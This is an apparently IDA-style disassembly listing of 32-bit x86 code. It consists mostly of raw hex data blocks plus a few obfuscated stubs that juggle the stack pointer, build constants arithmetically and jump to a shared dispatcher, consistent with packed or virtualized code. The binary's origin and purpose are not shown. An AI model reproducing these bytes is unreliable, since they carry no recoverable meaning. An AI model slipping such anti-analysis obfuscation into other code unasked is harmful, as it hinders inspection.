		dd 81D68B28h, 0F8C2h, 4E8B6600h, 0C9B70F06h, 0F00F983h
		dd 1684h, 0C7A3B00h, 158F0Fh, 0EA830000h, 0C428B28h, 2B144A8Bh
		dd 89F82BC1h, 611C247Ch, 830008C2h, 0F4928C2h, 0FFFFCF85h
		dd 0FFE9E9FFh, 3EBAFFFFh, 0EB0009FDh, 585E900h,	79E90000h
		dd 68000005h, 5E73BCBh,	0FD42ADE9h, 3CE168FFh, 0A3E905E7h
		dd 68FFFD42h, 5E73D58h,	0FD4299E9h, 3E1568FFh, 8FE905E7h
		dd 68FFFD42h, 5E73F13h,	0FD4285E9h, 0D8437FFh, 5FD8908Ah
		dd 0F077E238h, 88335EDh, 0A1D89D85h, 0DBCEE93Eh, 22F89F1Ah
		dd 889235B2h, 0DC4649C2h, 42F99C1Fh, 21402203h,	0CEBC54ECh
		dd 0E5CC5291h, 0F6D4F04h, 0B64F04E6h, 0E68CEED7h, 27E84F04h
		dd 0E626056Ah, 61C74F04h, 864F04E6h, 4F04E5A1h,	4E5DE40h
		dd 5EDC89CFh, 0FDF586FFh, 0C51D4E8h, 0E8FE3133h, 0F40B3D4h
		dd 63E45248h, 0B730A67Ch, 7DFFA825h, 0D6CA59Ah,	4788DACDh
		dd 2F321466h, 4C35A7A2h, 40Ch, 1D803BBCh, 0B3D25505h, 6067E257h
		dd 18BF38BAh, 0B1D45302h, 8D405964h, 27977312h,	7FFD25A8h
		dd 8A41D9FCh, 96F58C13h, 0EC20CBA9h, 4532954h, 8649C077h
		dd 15BDC9Ch, 0EC5379D2h, 4F04E68Bh, 0FEE12B8h, 54CED148h
		dd 0D5464E7h, 0E5D351AEh, 9E514F04h, 0EB62E935h, 0BAE6C4D1h
		dd 81349C5Bh, 4C81B206h, 0C98AF949h, 76F32E14h,	0EC000003h
		dd 28A3150Dh, 62A390h, 7C4F04DAh, 77F9DEBBh, 9C8649C0h
		dd 0E6F25FD8h, 4E60061h, 0A1E17D4Fh, 8D108B40h,	0DA3097F6h
		dd 0AF10A3CAh, 14692CE3h, 4F04E616h, 8BE8A596h,	4F04E5A9h
		dd 7655A0Bh, 654F04E6h,	9092D3B2h, 0EC4F04E6h, 58E2F62Bh
		dd 5CB61992h, 92AE9938h, 4164313Ch, 0C19B12D9h,	3A5DD794h
		dd 0D8F06BE0h, 0BC3C9242h, 1B07C63Bh, 0C68FDD5Ch, 5C47BF9h
		dd 0C536F94Fh, 0C43F3D02h, 7ABD4F05h, 2F310E91h, 0D54F05C4h
		dd 0E7D2E661h, 94E9AC2Eh, 54E9E6B3h, 91FBC033h,	361C4A4Ch
		dd 2F6C3A2h, 25960000h,	7BFF2BAAh, 8841D9FCh, 22948E11h
		dd 79FC26A9h, 6F4EDFFEh, 993CBB3Ah, 3352CD81h, 0E7E661D7h
		dd 9A3DBC3Bh, 0E143BCE3h, 4354EC21h, 0C0776E25h, 62E97349h
		dd 8B4BD1EBh, 0F2B4890Ch, 374F04E5h, 4F04F631h,	97663D3h
		dd 4F04F62Bh, 47154689h, 4F59E80h, 9E1CC94Fh, 959C63Fh
		dd 8CE654E9h, 0E11982C3h, 0E9957E73h, 0E2E18126h, 46121C4Ah
		dd 27FFFh, 35AC2F00h, 47C08892h, 981FDA40h, 30AB2DF5h
		dd 49C075ADh, 0B3E6D146h, 1A008702h, 60BADD5Ah,	0B46E71EAh
		dd 7A018407h, 2358DA2Bh, 0D6D454ECh, 49C077F9h,	7962E973h
		dd 4E62604h, 0FEC7864Fh, 4F04E67Ch, 91C237F8h, 0D4DCAE3Bh
		dd 0A922948Eh, 0EF4DB213h, 4D4F04E5h, 92FC598Ah, 0CF23A225h
		dd 2E14C974h, 1F0E5h, 1FDCC600h, 529A339Ch, 4F04E5CCh
		dd 0A92097F3h, 2B772013h, 7FAB2AADh, 0D06A7EF9h, 0BECBE11Ah
		dd 9745A4ECh, 8127114h,	2A0CC942h, 2E14C959h, 0D6DE006Ah
		dd 0AC300F60h, 48F4E3h,	0D8230000h, 0D52AED6Fh,	54E903A8h
		dd 3E6A5384h, 0B51C4B2Ch, 1C25E27h, 0F1620000h,	0FCB5776h
		dd 5C1D0588h, 0EE60BADDh, 5C85275h, 0A3120B8Ah,	0C5C847F6h
		dd 7F1E995Dh, 13B235A3h, 0C6C940F7h, 1517683Fh,	9754EC24h
		dd 0B514BA11h, 4E5F248h, 0CE91424Fh, 584336Fh, 4E65EDCh
		dd 311DDE4Fh, 40611C0h,	0E6F25F06h, 72159644h, 10A823A8h
		dd 6F6EE4A5h, 38205B3h,	83D95007h, 9611D8C2h, 5A4411C2h
		dd 0DDB2049Ah, 516A1634h, 83C2791Ch, 51EC0A2h, 0E1FB3C4Fh
		dd 741B9E5Bh, 0FBD15B01h, 0A7E3E861h, 3320B837h, 51F70F2h
		dd 0D60BCC4Fh, 1EE84EB7h, 0CA834F05h, 7BB88548h, 0FB54E91Fh
		dd 8D4D5538h, 0DB9F8B0Ah, 78FE0C5Ch, 8EE4EDFFh,	410AC0B8h
		dd 0C9D5BE8Bh, 64CB8A05h, 0E97B191Bh, 0FF589B54h, 2815F4DDh
		dd 54E97B4Ah, 62AC69AAh, 6D5870F7h, 125332B0h, 5ACD92E9h
		dd 1F81346Eh, 5F8AE158h, 15A7985Eh, 864975DEh, 2E4E7D21h
		dd 6BCA8E22h, 0C4h, 5578F364h, 0B8A0DCDh, 0B8DF5A1Fh, 5077F062h
		dd 98C0BCAh, 4508A11Ch,	9F5FCBCAh, 37A57D60h, 420911B4h
		dd 6E3DC4CBh, 0EC251311h, 0BCEB9154h, 0E760D6CCh, 0F06BE02Ah
		dd 5F91F9D8h, 49728187h, 8138B1CDh, 335F382Bh, 58420584h
		dd 1DBF1893h, 0F9D34E0Fh, 0CF3E9D53h, 0D822F7A9h, 803FBF11h
		dd 0F2C63B28h, 5266E168h, 347CC6E1h, 555D2DFCh,	23A6130Fh
		dd 2CAF2C76h, 1A6BCAA9h, 4F054C18h, 84F6A394h, 2E152EBFh
		dd 1028h, 0CD526F00h, 494F04E5h, 0C5840B82h, 10h, 0E5CC5210h
		dd 97F34F04h, 0A1EDA621h, 0BB2CB32Ah, 115C6005h, 7D000000h
		dd 5EA7B425h, 4F04E5DCh, 16A29758h, 0F66770DDh,	7F4DC477h
		dd 0DDEF6EEDh, 0BA0E894Fh, 19B32CA0h, 85D75203h, 617BF667h
		dd 0CA9E19DBh, 0AA3EB930h, 0D5FD890h, 5E5456B3h, 4C681h
		dd 0EE830000h, 24348704h, 106B685Ch, 4890000h, 69856824h
		dd 3C890000h, 4EC8124h,	89000000h, 26682434h, 5E507F5Dh
		dd 6666F681h, 0F0895598h, 3C8B545Eh, 4C48124h, 50000000h
		dd 28DABF57h, 7C315AA3h, 8F5F0424h, 77810847h, 0A328DA08h
		dd 243C8B5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_54658E
; ---------------------------------------------------------------------------
		dw 5EF2h
		dd 6D0CFD98h, 0E73FFCB8h, 8BC50305h, 20EBD1h, 7	dup(0)
		dd 0E9000000h, 53Eh, 532E9h, 42306800h,	0FFE905E7h, 68FFFD3Ch
		dd 5E742D4h, 0FD3CF5E9h, 448868FFh, 0EBE905E7h,	68FFFD3Ch
		dd 5E744FBh, 0FD3CE1E9h, 0A92093FFh, 0FB7CFC26h, 0C8B4ED4h
		dd 0A4DF9189h, 0FD74F921h, 27724DDAh, 8E943BB6h, 0D44E51CEh
		dd 38E2E566h, 0EE9538B3h, 25E446BFh, 3A4054ECh,	47C2776Dh
		dd 5EDC2180h, 0DE4F04E6h, 2718B01Dh, 0CF04E641h, 3BF23E8Ch
		dd 0AE14CC48h, 2FB1h, 6DCCE400h, 0E5B3B18Eh, 0FE314F04h
		dd 4E5A381h, 5CE014Fh, 4E63B3Ch, 39BB744Fh, 26B56956h
		dd 10C354ECh, 68E3554Dh, 1D5918AFh, 8C000000h, 4E5CC52h
		dd 0AC2EE74Fh, 5AAB0AE9h, 4F04E5D8h, 0C936E354h, 54EC2715h
		dd 0B82DB063h, 0E966D6CCh, 6BB760D3h, 7EA46BEEh, 0F66D7FF8h
		dd 0A588BF1Dh, 0D7CF04E5h, 6DEC0D75h, 2890EBEAh, 9C82E3A2h
		dd 0C3CF04F4h, 3D9611C7h, 839F7EB1h, 0D0F855D4h, 3DED99F1h
		dd 710AF273h, 7AFD7AA4h, 585DBF9Bh, 0E91D6A8Fh,	712E992Ch
		dd 0EE4D2CF3h, 4DF9391h, 75DE11CFh, 0E909BF0Ch,	8CDC1FD4h
		dd 20B8D55Bh, 495170C9h, 6400D84h, 0A070D31Ah, 7099A830h
		dd 3C000000h, 76F46FD8h, 8DE9E802h, 0A8132B5Bh,	0CD276E6Eh
		dd 6EED3598h, 0AD66DDEFh, 996BE5DAh, 0C60954ECh, 0D85F1B07h
		dd 0C572A87Fh, 10C74342h, 0E34D099h, 51FB1C48h,	30390h
		dd 1D944700h, 0AF28A07Ah, 0C047F228h, 189345DDh, 0B128AD75h
		dd 0EBBEF92Eh, 32E8EF6Ah, 98820582h, 0EC3659D2h, 52E9EC6Fh
		dd 28303273h, 0FE8C54ECh, 2CE2CA1h, 0CC7B0000h,	0E612106Dh
		dd 88924F04h, 0C57E4AC5h, 1EDBC790h, 181EC19Bh,	0D94F04E6h
		dd 4F04E6D7h, 4E61918h,	0E656D84Fh, 959B4F04h, 5A4F04E5h
		dd 0F04E5D4h, 0E1A4269Fh, 0D3BC37B9h, 7845AD0Ch, 0C07FFE6Dh
		dd 241F7BE8h, 0EDD2BFA9h, 14EC0815h, 0B5EDB063h, 3C378504h
		dd 934C7953h, 98714E11h, 0DC1ACFCEh, 77C0521Bh,	0C983622Ch
		dd 25F68h, 0B930A300h, 0CB4C0C16h, 1C9B5EC4h, 0B42FA179h
		dd 0CD440911h, 37625DCAh, 9E840B86h, 0E43EA1DEh, 48D2F576h
		dd 0FE850883h, 27D456AFh, 2A5054ECh, 0DBC0777Dh, 4E688EAh
		dd 0FE33E44Fh, 0E4D9B81Fh, 4F04E686h, 6ECC35E6h, 0CE4F04E6h
		dd 0C57CF10Dh, 39937CF7h, 8E51D38Ch, 9CE34AA4h,	8C5A96Ah
		dd 947848B5h, 1BDC54ECh, 0B52BAE74h, 2B7928C7h,	6C73A47Eh
		dd 348403B6h, 9957CCB9h, 0C77DCB02h, 0FDC285F6h, 5AD3F515h
		dd 0EEDB063h, 5743331h,	957EB14Fh, 742B0DF2h, 89464F05h
		dd 0FE33B422h, 0B4D6261Fh, 0C13254ECh, 0FD57041Eh, 588FD7Ch
		dd 8DDF5E1Dh, 9F18DEC4h, 0B47BCD32h, 591654ECh,	0BD9574DBh
		dd 2821E49Fh, 9B5BA79Fh, 9672B31Ch, 0E25AD367h,	87346E31h
		dd 0D2998104h, 17156AC9h, 954F04E7h, 0E6FF7DA2h, 937D4F04h
		dd 0DF14A423h, 0CCD6B9EAh, 8BC18A0Dh, 4E6E254h,	52D08D4Fh
		dd 2746B2F3h, 339254ECh, 0EC2770F2h, 0D60BCC54h, 2DAC2B77h
		dd 2837006Ah, 0C7A5888Dh, 28AF7B0Ah, 5C84EEB1h,	2289E28Ch
		dd 124F0DC6h, 1F6027A5h, 5AD425C7h, 89EB84EEh, 8C1D0A71h
		dd 0C87B51CAh, 66B03A97h, 5AAB209Ah, 4F055BD8h,	0E4B7E354h
		dd 9E2A1F9Fh, 0EE69EB37h, 4E6D70DAh, 7D8ADEDFh,	37E4CE08h
		dd 18EEBF06h, 50F076BFh, 8F5B4F05h, 33F94A83h, 0C622E15h
		dd 0B5000000h, 502CC52h, 7134Fh, 52BA0000h, 4F04FFCCh
		dd 0ED6FD805h, 26E5D52Ah, 904354ECh, 0E766D5CDh, 7A33AE2Ah
		dd 6F2815F8h, 875AD050h, 0E3DD1754h, 8652222Bh,	0AB3Fh
		dd 0C57CFF00h, 179058C2h, 0A82FAA70h, 0C07BFD25h, 199045DDh
		dd 8316A176h, 0EA3057D2h, 30EAED6Ah, 849E01BAh,	8A3154D7h
		dd 2A88EADBh, 86E454ECh, 0ED6FD8C9h, 985F4B2Ah,	7B4FB461h
		dd 254EC26h, 0CFDB5418h, 0BD39920Dh, 3B676E7Ah,	77E33FBAh
		dd 0AE6BD8F0h, 0CD9012CBh, 0D1DE8FE5h, 0BC4006Bh, 60564BB4h
		dd 0FD3E5AD0h, 2BD64EFCh, 9A5BF122h, 38h, 4D50CB8Ch, 0E3E265D5h
		dd 9037B227h, 484FC88Ah, 0E1E463D2h, 5D108934h,	0F767A322h
		dd 0FCD5578h, 5A11098Ch, 4605BC23h, 0EC29FB79h,	54037954h
		dd 32Ch, 51067B00h, 7F4DC477h, 0DDEF6EEDh, 0BA0E894Fh
		dd 19B32CA0h, 85D75203h, 617BF667h, 0CA9E19DBh,	0AA3EB930h
		dd 0D5FD890h, 4D4B68B3h, 24890000h, 4BD5524h, 1000000h
		dd 5D04246Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	7926h
		mov	[esp], eax
		mov	edi, 6E1B3A62h
		inc	edi
		push	edi
		not	dword ptr [esp]
		pop	edi
		shr	edi, 6
		neg	edi
		dec	edi
		add	edi, 82ED3FBh
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		pop	dword ptr [eax+8]
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54658E
; ---------------------------------------------------------------------------
		db 29h
		dd 1A1949E5h, 42ED0F27h, 0B89D5BB4h, 5E74558h, 0C88BC503h
		dd 0D9E9h, 0BE1D2000h, 82C12C0Fh, 0B6CFDF2Fh, 5D54FDBEh
		dd 0ECA43636h, 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h
		dd 77CB50C1h, 0ACAC3252h, 91B8009Ch, 0CD64F7F6h, 389382h
		dd 3C0000h, 400000h, 940000h, 50000h, 10000h, 0A280000h
		dd 20000h, 20h dup(0)
		dd 0A1D10000h, 0A7E9748Dh, 6800001Fh, 5E74902h,	0FD36E1E9h
		dd 4A5268FFh, 0D7E905E7h, 68FFFD36h, 5E74B35h, 0FD36CDE9h
		dd 4C1768FFh, 0C3E905E7h, 68FFFD36h, 5E74CB2h, 0FD36B9E9h
		dd 4D8168FFh, 0AFE905E7h, 68FFFD36h, 5E74E4Fh, 0FD36A5E9h
		dd 4F0868FFh, 9BE905E7h, 68FFFD36h, 5E75285h, 0FD3691E9h
		dd 530468FFh, 87E905E7h, 68FFFD36h, 5E7541Bh, 0FD367DE9h
		dd 56F168FFh, 73E905E7h, 68FFFD36h, 5E75ADDh, 0FD3669E9h
		dd 5E4D68FFh, 5FE905E7h, 68FFFD36h, 5E75FCDh, 0FD3655E9h
		dd 602E68FFh, 4BE905E7h, 68FFFD36h, 5E76085h, 0FD3641E9h
		dd 60D968FFh, 37E905E7h, 68FFFD36h, 5E761BEh, 0FD362DE9h
		dd 631468FFh, 23E905E7h, 68FFFD36h, 5E76401h, 0FD3619E9h
		dd 0E118DBFFh, 33B424FEh, 44C376ACh, 9C17D941h,	35AC21F9h
		dd 6F3A8592h, 0B66C73EEh, 1C068906h, 60BADD5Eh,	0D66D70EBh
		dd 2CAC8EF7h, 720854ECh, 0A6160CD3h, 63A09329h,	54EC2D01h
		dd 0F6E7B063h, 7349C077h, 0A5237852h, 0E5D66A99h, 0E75FDD22h
		dd 1ADD4F04h, 67E655B1h, 7FF87AA0h, 8A1DF66Dh, 1C4463Fh
		dd 80E2C3A2h, 0FC4F04E7h, 0B0115E3Bh, 3454E8FDh, 0F076E9C3h
		dd 5B54E8FCh, 0CAA89574h, 2A54E8FCh, 7EA22CE9h,	0E87EFE24h
		dd 20B8ED66h, 2F146633h, 5833F8E4h, 27h, 67D6CCFFh, 0B663D0E8h
		dd 0C5880AC3h, 0E90883F8h, 0A800F354h, 0E907B1B7h, 424E1C54h
		dd 0F8EAB88Bh, 0E22133h, 77740000h, 88EADBC0h, 0E44F04E6h
		dd 0A63A442Ah, 95C6F089h, 43F208A0h, 0E156F4C4h, 17735266h
		dd 88EB27A2h, 2AB8DA69h, 0BF3C6633h, 5B3A993Ch,	51F086Ah
		dd 0E6B3644Fh, 522DA99h, 3EB93E4Fh, 55D4839Fh, 369D4A07h
		dd 82B10B84h, 0C4B18E51h, 2054E944h, 7167CFF6h,	567DE5CBh
		dd 0F04591D0h, 9B3A6F1Dh, 0C46AEE34h, 11C29611h, 0CFB873DCh
		dd 9EB58A4Dh, 0DA5AD006h, 70D7B619h, 7B62D0Fh, 834C8F4Fh
		dd 345BD687h, 0CBF06FEEh, 2229E443h, 0EFED5404h, 7500001Ch
		dd 0DE444BC2h, 20FA9D1Ah, 73AF2EA9h, 0DB4746C1h, 2FF89F1Ah
		dd 0DD541990h, 73EC60BAh, 8700B66Ch, 0DA5D1A00h, 605D0CBBh
		dd 54EC2F02h, 0CC4F0462h, 0D0E867D6h, 0DA550763h, 29A01571h
		dd 0BCBE8766h, 384F04E5h, 9F8B1AF7h, 0A93EA1D8h, 2AED6FD8h
		dd 0E90860D5h, 411BDC54h, 0E907989Eh, 2B573354h, 0F8EBA1E2h
		dd 71F82233h, 26A21DF6h, 0F5000001h, 0EADBC077h, 4F04E688h
		dd 136C33E4h, 4F04E611h, 5D6FA093h, 39930ECFh, 4EA6306h
		dd 52061C4Fh, 834C87D5h, 0FD70D087h, 88FD7642h,	0DF5E1D05h
		dd 0CC67D08Dh, 7B97930Dh, 0A7D428CDh, 11C46672h, 0DC11C296h
		dd 7AFE24EBh, 2A74EFFDh, 9C632CABh, 97E1D53Dh, 5F610407h
		dd 9AA587F8h, 0D4074F05h, 0BD493A7Bh, 9F7E54E9h, 0E97CC4A6h
		dd 118A4054h, 2BFDBB95h, 0D235794Fh, 498A34E1h,	0E7C2AC86h
		dd 0D8267B24h, 0A01D687Fh, 0B5276322h, 0B18E513Ah, 5ACFBE89h
		dd 31692CEFh, 28AF2BBDh, 0AF2AABF7h, 9A6D261Dh,	0F352CD80h
		dd 7C51D32Ch, 60D34F07h, 69B110B7h, 581D69E0h, 0AB2A7421h
		dd 0A1E43F35h, 0C439B52Ch, 4F074C66h, 0F62015C6h, 3BB90907h
		dd 1AA39445h, 2229E526h, 9F36FF5Dh, 2500001Bh, 8E943BB2h
		dd 0D04A4DCAh, 23FF9E19h, 8B9736B1h, 0DF484FCAh, 8D04C9E0h
		dd 235C100Ah, 77F066BCh, 8A0DCA50h, 0D02D7C0Bh,	54EC3052h
		dd 77FFD4D2h, 0DE444BC6h, 583F9E19h, 2F149342h,	4F04E64Dh
		dd 1CA36CAFh, 49C0774Bh, 5CDE2786h, 0D84F04E6h,	0B71EBA17h
		dd 9C0E265Bh, 2BE49747h, 2EF168EFh, 67F4764Fh, 0BF704F05h
		dd 7C68B3D2h, 4FFA61DEh, 981E9115h, 5CA16459h, 54E94E23h
		dd 9E7D2013h, 0E8F9C3A1h, 25EE2154h, 2BA0FA4Bh,	949EE7B0h
		dd 2F117768h, 2C11F476h, 0E53892Fh, 83FF954Fh, 50E9F761h
		dd 0F062B81Fh, 25EE6577h, 0CF4D3AB7h, 0DC53708h, 0A6FC1178h
		dd 0A1D89137h, 2AE7D80Bh, 92884F80h, 97E3A225h,	0F309F8B3h
		dd 80324CD1h, 0EF3B4A07h, 5EC8F168h, 1168C1F1h,	1ABCFABBh
		dd 91420000h, 2FAB7716h, 7CFD25A8h, 8E40DAFDh, 25A87215h
		dd 0C3F22BAAh, 0E5E867D6h, 9F3EB93Dh, 3352D583h, 0E6E960D7h
		dd 3537085Fh, 0B754EC31h, 0C0779AF1h, 0FB278649h, 0A684FD7Ch
		dd 64F04E5h, 655078D5h,	846B2AA8h, 0D5FD89Eh, 0DB347DD6h
		dd 1B54E8F5h, 6F1D75D8h, 3CADF16Fh, 0A236B123h,	0C937CB1h
		dd 0AC19C129h, 59166F2Eh, 0DD5ACDEAh, 724DB21Ah, 116B734h
		dd 2B77D654h, 1B642BAEh, 16B69419h, 28FF589Bh, 9ABD36D7h
		dd 0F7C5361Ch, 0C88F0DFAh, 97663D2h, 115A6C2Bh,	47154689h
		dd 9D7CC38Ch, 2C05BAB5h, 917AF101h, 3F056250h, 3D311917h
		dd 70ABA33Dh, 0E01FDE28h, 85488B37h, 0FC7E4726h, 7816B6CDh
		dd 3BB0DAB7h, 11C5DD80h, 4411C296h, 0FB72F921h,	7ACD6AF2h
		dd 0FABB115Ah, 19DAh, 5174EF60h, 78601C9h, 0B4DB5E1Bh
		dd 6C73EC6Eh, 58807B6h,	41F4A510h, 9B5BC7C6h, 2BA1791Ch
		dd 46F52DB0h, 6A39C0C7h, 0EC321715h, 0B8179554h, 8649C077h
		dd 0E65CDE27h, 17D84F04h, 0EAA31EBAh, 0F758A568h, 7F54E908h
		dd 75A62195h, 61D73392h, 8BBB9E6h, 0F63954E9h, 0D0AF8A1Dh
		dd 0F057D582h, 0CD32F28Fh, 34B8425Ah, 0A18E46BBh, 0EBADA711h
		dd 8A4DCFB8h, 91BF98B5h, 4963D4F1h, 7E21A31Ch, 35B8B301h
		dd 7FDE11EEh, 9235B423h, 6348C388h, 85841523h, 3F7DC494h
		dd 0C5000019h, 2EF49B12h, 70AA2DAAh, 0C35F7EF9h, 2BF79611h
		dd 7FA82FAAh, 6DE46940h, 833CB06Ah, 0D750061Ch,	6AED6AB0h
		dd 0B08DDC6Bh, 54EC31B2h, 771F7432h, 467349C0h,	0C6A49989h
		dd 264F04E5h, 0E0DD80F5h, 54E8F977h, 9D1ADEC4h,	819D0DCFh
		dd 0E56466C3h, 68E756B0h, 0DD003AFh, 82663C25h,	44F646A4h
		dd 1142F1CBh, 58422144h, 8E451790h, 4D93E6C5h, 0AC69E055h
		dd 339210CDh, 0CD62B5F2h, 8F4E815Ah, 16A22593h,	5BA470DDh
		dd 4C4812BFh, 0B4B68F6Eh, 504C47B1h, 984B619Ah,	89602DEEh
		dd 86FF5EDCh, 522BDA85h, 2F9A2EE1h, 9D1CDD76h, 1C06E5A8h
		dd 317EDB5Ch, 4D9003C3h, 0F32FEE21h, 58C2C544h,	0E5531893h
		dd 0CA24E9D7h, 1870A70Eh, 45F60000h, 9B5FCBCAh,	28A1791Ch
		dd 42F42EB1h, 995CC6C9h, 0FAE7F1Eh, 395CDB9Ah, 0D3F26DE1h
		dd 87068137h, 3A5DDC9Bh, 81E3DC83h, 0E354EC33h,	0C077CE85h
		dd 89467349h, 0D27B440Bh, 0A254E8FDh, 0B732A7E3h, 73F12E25h
		dd 0F154E8FDh, 0EBCACD3Eh, 2CAB3DBFh, 0F3241FADh, 5AA16AD9h
		dd 7DFFA872h, 53CC809Ah, 0BE01CA79h, 0CD272841h, 43FBD75Ah
		dd 555DF973h, 0A29511FAh, 4BB41BEAh, 4F05A9E9h,	0E6CF884Bh
		dd 0E2CEA241h, 0D8BF3DEAh, 0C69215C2h, 80FD400Dh, 0E8B14183h
		dd 0F473E238h, 0C5C9F1Bh, 8D4FE451h, 588D4612h,	0B02BADF5h
		dd 79A100E7h, 0F46F7DF4h, 3AE8DA1Bh, 9344EB15h,	0E661D6CCh
		dd 3DBC3BE7h, 6492D2BCh, 9E67F58Eh, 17A2h, 993CB738h, 4F4EC981h
		dd 0FCE366D3h, 943BB426h, 4D50CF8Eh, 9CCDDD8h, 0A3130F8Eh
		dd 0F379A124h, 0ECD5578h, 1271088Fh, 0EC344F2Dh, 80DFAD54h
		dd 8649C077h, 0F0CDD89Ch, 4F04E672h, 3CC01F2h, 21A31C49h
		dd 2C5C017Eh, 77B854ECh, 63E93190h, 74E32FE8h, 97F3D2F5h
		dd 9A5EA827h, 3B944F1Dh, 0EC2D08FAh, 75FFAB54h,	0A103C852h
		dd 9E41B22Dh, 0FB7DD784h, 23420F40h, 0BA1D9F48h, 0D3722045h
		dd 0D4BB7C5Ah, 31F0ACEh, 4F84D453h, 4E61416h, 0C676904Fh
		dd 383A1449h, 0B759AA7Ah, 0F822A596h, 3525EE70h, 0AAAB31BBh
		dd 12D96379h, 0FF92D29Bh, 0F359222Bh, 16E932h, 45FC7F00h
		dd 9710D842h, 28AF2AF0h, 40FB7DA5h, 9910C55Dh, 39621F6h
		dd 6AB0D752h, 0B06A6DEAh, 41E813Ah, 0AB1D457h, 35086A5Bh
		dd 66454ECh, 26E6CC49h,	830FBC0Ch, 7F28834Ch, 80251AFDh
		dd 9C54EC89h, 7745C272h, 462419FCh, 0A654EC01h,	455D0075h
		dd 6AB01796h, 1DA06DEAh, 9B7AF0AAh, 0EC00D4AAh,	0EDFF3054h
		dd 833CBEE4h, 0D4CC2329h, 0E7CC4C1Eh, 9798D9B2h, 7F54EC79h
		dd 0D47642FDh, 3ED4E467h, 0E5F43C64h, 6FD41D05h, 9833FC61h
		dd 7Ah,	0E01BD1C9h, 4D0F1BC8h, 804D86D2h, 0C162D8CBh, 0FCA3940Fh
		dd 0E341BE1Dh, 414F04E5h, 74F6CF8Eh, 0F04F04E6h, 136D523Fh
		dd 614F04E6h, 43251AAEh, 8E4F04E6h, 44AEF43Ch, 81685DD6h
		dd 0DD11FA0Eh, 2E151966h, 3197h, 6EEA3000h, 2A280A7Bh
		dd 53844F05h, 3C994A1Eh, 106DCC9Fh, 4F04E612h, 8FF4A192h
		dd 4F04E5AAh, 0CB8A08C5h, 0E90301FAh, 27937D54h, 0E6DB08A0h
		dd 6FD876E7h, 0D4D52AEDh, 5054E902h, 0B83FCD9Fh, 0D7849E01h
		dd 77E60454h, 852E0F8h,	0EB62E908h, 3EB93EE4h, 0C4463FAAh
		dd 0DA551901h, 25F8558Eh, 0CD12FBD8h, 0FA7AA05Ah, 31A8217Dh
		dd 0C3EFA89Bh, 0A13BB239h, 6758DF9Bh, 86375332h, 0C982B10Bh
		dd 0F70D7B6h, 4F04F22Dh, 87834C8Fh, 420359D0h, 3B029458h
		dd 0F8428D77h, 0A68F48BDh, 0C73C75E3h, 0B7ED156Fh, 6083DA5Bh
		dd 7AD76A78h, 7D205B10h, 0B3340D15h, 513A9AC1h,	0E467D44Eh
		dd 0B8436D4h, 1F03E9B1h, 9B9E6D45h, 2EFC95C0h, 3BB23965h
		dd 6CED3594h, 71E620EDh, 3EF7E2F6h, 0BC1D9BCh, 46C17690h
		dd 84C53A8Dh, 0E0CD1FEAh, 87D55206h, 0AE741B4Ch, 0BB1AAE29h
		dd 246EE96Fh, 50FD6B67h, 0D8C28F6Fh, 5C918214h,	7550F637h
		dd 0C09AA800h, 33AA21C0h, 46C176ACh, 258E4772h,	2C536B1h
		dd 0E5F267A3h, 0D7759A98h, 0E4D91ACCh, 4DB21FD4h, 0D2BB7A74h
		dd 29880FC0h, 0F6C27DF1h, 0C176907Dh, 6BCD7246h, 0EFD73B7Ah
		dd 77E4050Dh, 13F2D1F4h, 3B7A50D2h, 1F6BACB7h, 568DDF5Ah
		dd 0A0DB91FDh, 0A27F95FDh, 9D7362E1h, 7B51C881h, 0BF4D0FC8h
		dd 9C29833Eh, 0B523C2CEh, 0C1779332h, 66E87246h, 0C5A7987Fh
		dd 27B73B91h, 91AD8FF4h, 0CC0FB73Bh, 6FEE349Bh,	921F1D62h
		dd 5A9DB73Bh, 162CAC69h, 37A5444Ch, 6D5ED99Dh, 813AB06Ah
		dd 43C1BE2Bh, 0AE3EA39Ch, 75A6BD1Fh, 0F53D8767h, 6225A614h
		dd 5C39B238h, 0E31AD149h, 0DC72E63Ch, 19CA9E19h, 0F25F9424h
		dd 149744E6h, 6CE769B1h, 0AE2AE75Ch, 114BB713h,	1D26CB39h
		dd 9B74B5FBh, 5E41F87Fh, 0E72F97ECh, 2AC09Bh, 77170000h
		dd 9B8746C1h, 0B99F44DCh, 0D9A87E25h, 34A12BE4h, 2916F97Bh
		dd 54E9B570h, 1792435Fh, 0B9C58E45h, 17905776h,	0C7000000h
		dd 7246C177h, 490C8E47h, 0E8E9FF74h, 27957F54h,	0EADF14A4h
		dd 604872EBh, 884FCDBAh, 75604A29h, 59F5D79Fh, 0F113114Eh
		dd 0CC914F04h, 4F171F3h, 0CF00F34Fh, 1B843D02h,	3FF054E9h
		dd 1E0C6E51h, 0EEA7499Ch, 0B754A96Ch, 0B7464044h, 356D7444h
		dd 50D51B85h, 5C6F1F17h, 29E2516Bh, 0B0179542h,	9C8B7D4Fh
		dd 0B91CDF49h, 6C73EA61h, 28AF01B6h, 3F7F7CB1h,	0C030D560h
		dd 136CA908h, 41F20000h, 9F5BC7C6h, 2CAD7518h, 7EF02AADh
		dd 9558C2C5h, 13A27B1Ah, 3558D786h, 0EFEE69EDh,	83028533h
		dd 3659D087h, 85E7D88Fh, 0E754EC38h, 0E6CCCA81h, 0AA5DAF0Bh
		dd 6B480578h, 4F059109h, 0B370EBA4h, 67732931h,	55349BCCh
		dd 0AC2FACF6h, 5DFF577h, 0CB84774Fh, 0E9F8D9EAh, 8342B554h
		dd 3756D187h, 218F4A50h, 0EAFE33AAh, 0C4729C79h, 64D36943h
		dd 0D398C4E5h, 0ED6F1C47h, 12ED04h, 49C07300h, 9B1CDC46h
		dd 2CAB2EF4h, 44FF71A9h, 9D14D941h, 7922DFAh, 6EB4DB56h
